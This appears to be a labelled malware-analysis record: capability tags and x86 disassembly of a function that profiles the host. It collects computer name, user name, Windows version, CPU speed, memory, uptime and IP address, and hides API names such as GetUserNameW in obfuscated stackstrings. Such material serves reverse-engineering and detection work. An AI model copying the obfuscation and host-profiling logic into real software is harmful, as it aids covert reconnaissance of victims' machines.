Function at 0x404390
Capabilities:
Check os version
Contain obfuscated stackstrings
Get hostname
Query or enumerate registry value

Disassembly:
mov eax, 0x4afc
call fcn.0042f550
mov eax, dword [0x45b9b0]
xor eax, esp
mov dword [esp + 0x4af8], eax
mov edx, dword [esp + 0x4b10]
mov eax, dword [esp + 0x4b04]
mov ecx, dword [esp + 0x4b0c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x4b0c]
push edi
mov edi, dword [esp + 0x4b2c]
xor ebx, ebx
push 0x3e
mov dword [esp + 0x38], edx
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x4b28]
mov dword [esp + 0x4c], ecx
mov ecx, dword [esp + 0x4b2c]
lea edx, [esp + 0x24e]
push ebx
push edx
mov dword [esp + 0x38], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x1c], 0x7c
mov word [esp + 0x254], bx
call fcn.0042ec20
add esp, 0xc
cmp edi, ebx
je 0x404456
mov eax, edi
lea edx, [eax + 2]
nop
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404420
sub eax, edx
sar eax, 1
cmp eax, 0x20
jb 0x404439
mov eax, 0x1f
lea ebp, [eax + eax]
push ebp
lea eax, [esp + 0x24c]
push edi
push eax
call fcn.0042ece0
add esp, 0xc
mov word [esp + ebp + 0x248], bx
push 0x7fe
mov eax, 0x400
lea ecx, [esp + 0x3b0e]
push ebx
push ecx
mov dword [esp + 0x50], eax
mov dword [esp + 0x5c], eax
mov word [esp + 0x3b14], bx
call fcn.0042ec20
push 0x7fe
lea edx, [esp + 0x431a]
push ebx
push edx
mov word [esp + 0x4320], bx
call fcn.0042ec20
add esp, 0x18
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x3b0c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x449a3c
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea edx, [esp + 0x1b4]
mov edi, eax
push edx
push edi
mov byte [esp + 0x1bc], 0x47
mov byte [esp + 0x1bd], 0x65
mov byte [esp + 0x1be], 0x74
mov byte [esp + 0x1bf], 0x55
mov byte [esp + 0x1c0], 0x73
mov byte [esp + 0x1c1], 0x65
mov byte [esp + 0x1c2], 0x72
mov byte [esp + 0x1c3], 0x4e
mov byte [esp + 0x1c4], 0x61
mov byte [esp + 0x1c5], 0x6d
mov byte [esp + 0x1c6], 0x65
mov byte [esp + 0x1c7], 0x57
mov byte [esp + 0x1c8], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x50]
push ecx
lea edx, [esp + 0x430c]
push edx
call eax
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x7fe
lea eax, [esp + 0xb0e]
push ebx
push eax
mov word [esp + 0xb14], bx
call fcn.0042ec20
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatW]
add esp, 0xc
lea ecx, [esp + 0x248]
push ecx
lea edx, [esp + 0xb0c]
push edx
call edi
push 0x449a38
lea eax, [esp + 0xb0c]
push eax
call edi
lea ecx, [esp + 0x3b08]
push ecx
lea edx, [esp + 0xb0c]
push edx
call edi
push 0x449a38
lea eax, [esp + 0xb0c]
push eax
call edi
lea ecx, [esp + 0x4308]
push ecx
lea edx, [esp + 0xb0c]
push edx
call edi
lea eax, [esp + 0xb08]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea ecx, [esp + 0xb0c]
push ecx
mov ecx, esi
call fcn.00401a90
push 2
lea edx, [esp + 0x14]
push edx
mov ecx, esi
call fcn.00401a90
push 0x11c
lea eax, [esp + 0x9c]
push ebx
push eax
call fcn.0042ec20
push 0x7fe
lea ecx, [esp + 0x31a]
push ebx
push ecx
mov dword [esp + 0xb0], 0x11c
mov word [esp + 0x320], bx
call fcn.0042ec20
add esp, 0x18
push str.Windo
lea edx, [esp + 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x449a24
lea eax, [esp + 0x30c]
push eax
call edi
lea ecx, [esp + 0x1c]
push ecx
push 0x64
push ebx
mov dword [esp + 0x28], ebx
call sub.NETAPI32.dll_NetWkstaGetInfo
test eax, eax
jne 0x404677
mov eax, dword [esp + 0x1c]
mov edx, dword [eax + 0x10]
mov ebp, dword [eax + 0xc]
push eax
mov dword [esp + 0x18], edx
call sub.NETAPI32.dll_NetApiBufferFree
jmp 0x40467b
mov ebp, dword [esp + 0x24]
lea eax, [esp + 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x404844
cmp ebp, 4
mov ecx, dword [esp + 0x14]
mov dword [esp + 0x9c], ebp
mov dword [esp + 0xa0], ecx
ja 0x4046b7
push 0x449a1c
lea edx, [esp + 0x30c]
push edx
call edi
mov ebp, 5
cmp dword [esp + 0x9c], ebp
jne 0x404713
cmp dword [esp + 0xa0], 1
jne 0x4046e7
push 0x449a14
lea eax, [esp + 0x30c]
push eax
call edi
cmp dword [esp + 0x9c], ebp
jne 0x404713
cmp dword [esp + 0xa0], 2
jne 0x40482c
push str.Server
lea ecx, [esp + 0x30c]
push ecx
call edi
push str._2003
lea edx, [esp + 0x30c]
push edx
call edi
cmp dword [esp + 0x9c], 6
jne 0x4047e8
cmp dword [esp + 0xa0], ebx
jne 0x404752
cmp byte [esp + 0x1b2], 1
jne 0x404743
push str.Vista
lea eax, [esp + 0x30c]
push eax
jmp 0x404750
push 0x4499d4
lea ecx, [esp + 0x30c]
push ecx
call edi
cmp dword [esp + 0xa0], 1
jne 0x404784
cmp byte [esp + 0x1b2], 1
jne 0x404775
push 0x4499d0
lea edx, [esp + 0x30c]
push edx
jmp 0x404782
push 0x4499b0
lea eax, [esp + 0x30c]
push eax
call edi
cmp dword [esp + 0xa0], 2
jne 0x4047b6
cmp byte [esp + 0x1b2], 1
jne 0x4047a7
push 0x4499ac
lea ecx, [esp + 0x30c]
push ecx
jmp 0x4047b4
push str.Server_2012
lea edx, [esp + 0x30c]
push edx
call edi
cmp dword [esp + 0xa0], 3
jne 0x4047e8
cmp byte [esp + 0x1b2], 1
jne 0x4047d9
push 0x44998c
lea eax, [esp + 0x30c]
push eax
jmp 0x4047e6
push str.Server_2012_R2
lea ecx, [esp + 0x30c]
push ecx
call edi
cmp dword [esp + 0x9c], 0xa
jne 0x404823
cmp dword [esp + 0xa0], ebx
jne 0x404844
cmp byte [esp + 0x1b2], 1
jne 0x404814
push 0x449964
lea edx, [esp + 0x30c]
push edx
jmp 0x404821
push str.Server_2016
lea eax, [esp + 0x30c]
push eax
call edi
cmp dword [esp + 0x9c], ebp
jne 0x404844
cmp dword [esp + 0xa0], ebx
jne 0x404844
push str.2000
lea ecx, [esp + 0x30c]
push ecx
call edi
call fcn.004042e0
test eax, eax
je 0x40485c
push 0x449938
lea edx, [esp + 0x30c]
push edx
jmp 0x404878
push 0x449930
lea eax, [esp + 0x30c]
push eax
call edi
push 0x44992c
lea ecx, [esp + 0x30c]
push ecx
call edi
lea eax, [esp + 0x308]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x404884
sub eax, ecx
sar eax, 1
lea edx, [eax + eax]
push edx
lea eax, [esp + 0x30c]
push eax
mov ecx, esi
call fcn.00401a90
push 2
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.00401a90
push 0x7fe
lea edx, [esp + 0x330e]
push ebx
push edx
mov word [esp + 0x3314], bx
call fcn.0042ec20
xor eax, eax
add esp, 0xc
push str.Kernel32.dll
mov dword [esp + 0x78], ebx
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], eax
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebp, eax
lea eax, [esp + 0x1c4]
push eax
push ebp
mov byte [esp + 0x1cc], 0x47
mov byte [esp + 0x1cd], 0x65
mov byte [esp + 0x1ce], 0x74
mov byte [esp + 0x1cf], 0x53
mov byte [esp + 0x1d0], 0x79
mov byte [esp + 0x1d1], 0x73
mov byte [esp + 0x1d2], 0x74
mov byte [esp + 0x1d3], 0x65
mov byte [esp + 0x1d4], 0x6d
mov byte [esp + 0x1d5], 0x49
mov byte [esp + 0x1d6], 0x6e
mov byte [esp + 0x1d7], 0x66
mov byte [esp + 0x1d8], 0x6f
mov byte [esp + 0x1d9], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x74]
push ecx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, 4
mov dword [esp + 0x30], eax
mov dword [esp + 0x4c], eax
mov eax, 0x41
mov edx, 0x45
mov ecx, 0x52
mov word [esp + 0x1ea], ax
mov ebp, 0x44
mov word [esp + 0x1f2], ax
mov word [esp + 0x1f6], dx
mov word [esp + 0x1fc], dx
mov eax, 0x5c
mov edx, 0x53
mov word [esp + 0x1ec], cx
mov word [esp + 0x1f4], cx
mov word [esp + 0x202], cx
mov dword [esp + 0x20], ebx
mov word [esp + 0x1e8], 0x48
mov word [esp + 0x1ee], bp
mov word [esp + 0x1f0], 0x57
mov word [esp + 0x1f8], ax
mov word [esp + 0x1fa], bp
mov word [esp + 0x1fe], dx
mov word [esp + 0x200], 0x43
mov ecx, 0x49
mov word [esp + 0x212], dx
mov edx, 0x65
mov word [esp + 0x21a], dx
mov word [esp + 0x222], dx
mov word [esp + 0x236], dx
mov word [esp + 0x204], cx
mov word [esp + 0x20a], cx
lea edx, [esp + 0x18]
mov word [esp + 0x210], ax
mov ecx, 0x74
mov word [esp + 0x21e], ax
mov word [esp + 0x240], ax
push edx
lea eax, [esp + 0x1ec]
mov ebp, 0x73
mov word [esp + 0x21c], cx
mov word [esp + 0x22a], cx
mov ecx, 0x72
push eax
push reloc.OLEAUT32.dll_SysReAllocString
mov word [esp + 0x212], 0x50
mov word [esp + 0x214], 0x54
mov word [esp + 0x218], 0x4f
mov word [esp + 0x21a], 0x4e
mov word [esp + 0x220], 0x79
mov word [esp + 0x222], bp
mov word [esp + 0x228], 0x6d
mov word [esp + 0x22c], 0x43
mov word [esp + 0x230], 0x6e
mov word [esp + 0x234], cx
mov word [esp + 0x236], 0x61
mov word [esp + 0x238], 0x6c
mov word [esp + 0x23a], 0x50
mov word [esp + 0x23c], cx
mov word [esp + 0x23e], 0x6f
mov word [esp + 0x240], 0x63
mov word [esp + 0x244], bp
mov word [esp + 0x246], bp
mov word [esp + 0x248], 0x6f
mov word [esp + 0x24a], cx
mov word [esp + 0x24e], 0x30
mov word [esp + 0x250], bx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x404bd1
lea ecx, [esp + 0x30]
push ecx
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x54]
push eax
push ebx
push str.MHz
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x88]
push eax
push ecx
lea edx, [esp + 0x3310]
push edx
call fcn.00404230
lea eax, [esp + 0x3314]
add esp, 0xc
lea ecx, [eax + 2]
jmp 0x404c00
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x404c00
sub eax, ecx
sar eax, 1
add eax, eax
push eax
lea ecx, [esp + 0x330c]
push ecx
mov ecx, esi
call fcn.00401a90
push 2
lea edx, [esp + 0x14]
push edx
mov ecx, esi
call fcn.00401a90
xor eax, eax
mov dword [esp + 0x54], eax
push str.Kernel32.dll
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x74], eax
mov dword [esp + 0x58], 0x20
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebp, eax
lea eax, [esp + 0x1d4]
push eax
push ebp
mov byte [esp + 0x1dc], 0x47
mov byte [esp + 0x1dd], 0x6c
mov byte [esp + 0x1de], 0x6f
mov byte [esp + 0x1df], 0x62
mov byte [esp + 0x1e0], 0x61
mov byte [esp + 0x1e1], 0x6c
mov byte [esp + 0x1e2], 0x4d
mov byte [esp + 0x1e3], 0x65
mov byte [esp + 0x1e4], 0x6d
mov byte [esp + 0x1e5], 0x6f
mov byte [esp + 0x1e6], 0x72
mov byte [esp + 0x1e7], 0x79
mov byte [esp + 0x1e8], 0x53
mov byte [esp + 0x1e9], 0x74
mov byte [esp + 0x1ea], 0x61
mov byte [esp + 0x1eb], 0x74
mov byte [esp + 0x1ec], 0x75
mov byte [esp + 0x1ed], 0x73
mov byte [esp + 0x1ee], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x54]
push ecx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0x7fe
lea edx, [esp + 0x130e]
push ebx
push edx
mov word [esp + 0x1314], bx
call fcn.0042ec20
add esp, 0xc
push 0x449918
lea eax, [esp + 0x130c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x7e
lea ecx, [esp + 0x28e]
push ebx
push ecx
mov word [esp + 0x294], bx
call fcn.0042ec20
mov eax, dword [esp + 0x68]
push 0xa
lea edx, [esp + 0x298]
push edx
shr eax, 0x14
push eax
call fcn.0042f784
add esp, 0x18
lea ecx, [esp + 0x288]
push ecx
lea edx, [esp + 0x130c]
push edx
call edi
push str._MB_A:
lea eax, [esp + 0x130c]
push eax
call edi
push 0x40
lea ecx, [esp + 0x28c]
push ebx
push ecx
call fcn.0042ec20
mov eax, dword [esp + 0x6c]
push 0xa
lea edx, [esp + 0x298]
push edx
shr eax, 0x14
push eax
call fcn.0042f784
add esp, 0x18
lea ecx, [esp + 0x288]
push ecx
lea edx, [esp + 0x130c]
push edx
call edi
push 0x449900
lea eax, [esp + 0x130c]
push eax
call edi
lea eax, [esp + 0x1308]
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x404df3
sub eax, ecx
sar eax, 1
lea ecx, [eax + eax]
push ecx
lea edx, [esp + 0x130c]
push edx
mov ecx, esi
call fcn.00401a90
push 2
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.00401a90
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
mov edi, edx
shr edi, 6
mov eax, 0x91a2b3c5
mul edi
mov ecx, edx
shr ecx, 0xb
mov eax, 0xaaaaaaab
mul ecx
shr edx, 4
lea eax, [edx + edx*2]
add eax, eax
add eax, eax
add eax, eax
sub ecx, eax
add eax, ecx
mov ebp, eax
shl ebp, 4
sub ebp, eax
mov dword [esp + 0x38], edx
mov eax, 0x88888889
mul edi
shr edx, 5
add ebp, ebp
push 0x7fe
mov dword [esp + 0x2c], ecx
mov eax, edx
add ebp, ebp
lea ecx, [esp + 0x230e]
sub eax, ebp
push ebx
push ecx
mov dword [esp + 0x20], eax
mov word [esp + 0x2314], bx
call fcn.0042ec20
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x44]
add ebp, eax
mov edx, ebp
shl edx, 4
sub edx, ebp
add edx, edx
add edx, edx
sub edi, edx
push edi
push eax
mov eax, dword [esp + 0x3c]
push eax
push ecx
lea edx, [esp + 0x2324]
push edx
call fcn.00404250
lea eax, [esp + 0x2328]
add esp, 0x20
lea ecx, [eax + 2]
mov dx, word [eax]
add eax, 2
cmp dx, bx
jne 0x404ed3
sub eax, ecx
sar eax, 1
add eax, eax
push eax
lea ecx, [esp + 0x230c]
push ecx
mov ecx, esi
call fcn.00401a90
push 2
lea edx, [esp + 0x14]
push edx
mov ecx, esi
call fcn.00401a90
push 0x7fe
lea eax, [esp + 0x1b0e]
push ebx
push eax
mov word [esp + 0x1b14], bx
call fcn.0042ec20
mov edx, dword [esp + 0x48]
mov eax, dword [edx + 4]
add esp, 0xc
lea ecx, [esp + 0x1b08]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
call fcn.00404280
lea eax, [esp + 0x1b10]
add esp, 8
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404f50
sub eax, edx
sar eax, 1
lea ecx, [eax + eax]
push ecx
lea edx, [esp + 0x1b0c]
push edx
mov ecx, esi
call fcn.00401a90
push 2
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.00401a90
lea eax, [esp + 0x1b08]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x404f90
sub eax, edx
sar eax, 1
lea ecx, [eax + eax]
push ecx
lea edx, [esp + 0x1b0c]
push edx
mov ecx, esi
call fcn.00401a90
push 2
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.00401a90
push 0x7fe
lea ecx, [esp + 0x2b0e]
push ebx
push ecx
mov word [esp + 0x2b14], bx
call fcn.0042ec20
mov edx, dword [esp + 0x4b24]
push edx
lea eax, [esp + 0x2b18]
push 0x4498f8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x2b20]
add esp, 0x18
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x405003
sub eax, edx
sar eax, 1
lea ecx, [eax + eax]
push ecx
lea edx, [esp + 0x2b0c]
push edx
mov ecx, esi
call fcn.00401a90
push 2
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.00401a90
call fcn.00404220
neg eax
sbb eax, eax
neg eax
push 2
lea ecx, [esp + 0x44]
add eax, 0x30
push ecx
mov ecx, esi
mov dword [esp + 0x48], eax
call fcn.00401a90
push 2
lea edx, [esp + 0x14]
push edx
mov ecx, esi
call fcn.00401a90
mov edi, dword [esp + 0x2c]
mov eax, edi
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x405070
sub eax, edx
sar eax, 1
add eax, eax
push eax
push edi
mov ecx, esi
call fcn.00401a90
push 2
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.00401a90
mov edi, dword [esp + 0x34]
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4050a1
sub eax, edx
sar eax, 1
lea edx, [eax + eax]
push edx
push edi
mov ecx, esi
call fcn.00401a90
push 2
lea eax, [esp + 0x14]
push eax
mov ecx, esi
call fcn.00401a90
mov edi, dword [esp + 0x48]
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x4050d3
sub eax, edx
sar eax, 1
lea ecx, [eax + eax]
push ecx
push edi
mov ecx, esi
call fcn.00401a90
push 2
lea edx, [esp + 0x14]
push edx
mov ecx, esi
call fcn.00401a90
mov edi, dword [esp + 0x24]
mov eax, edi
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x405105
sub eax, edx
sar eax, 1
add eax, eax
push eax
push edi
mov ecx, esi
call fcn.00401a90
push 2
lea ecx, [esp + 0x14]
push ecx
mov ecx, esi
call fcn.00401a90
mov ecx, esi
call fcn.00401e50
mov ecx, dword [esp + 0x4b08]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0042ec03
add esp, 0x4afc
ret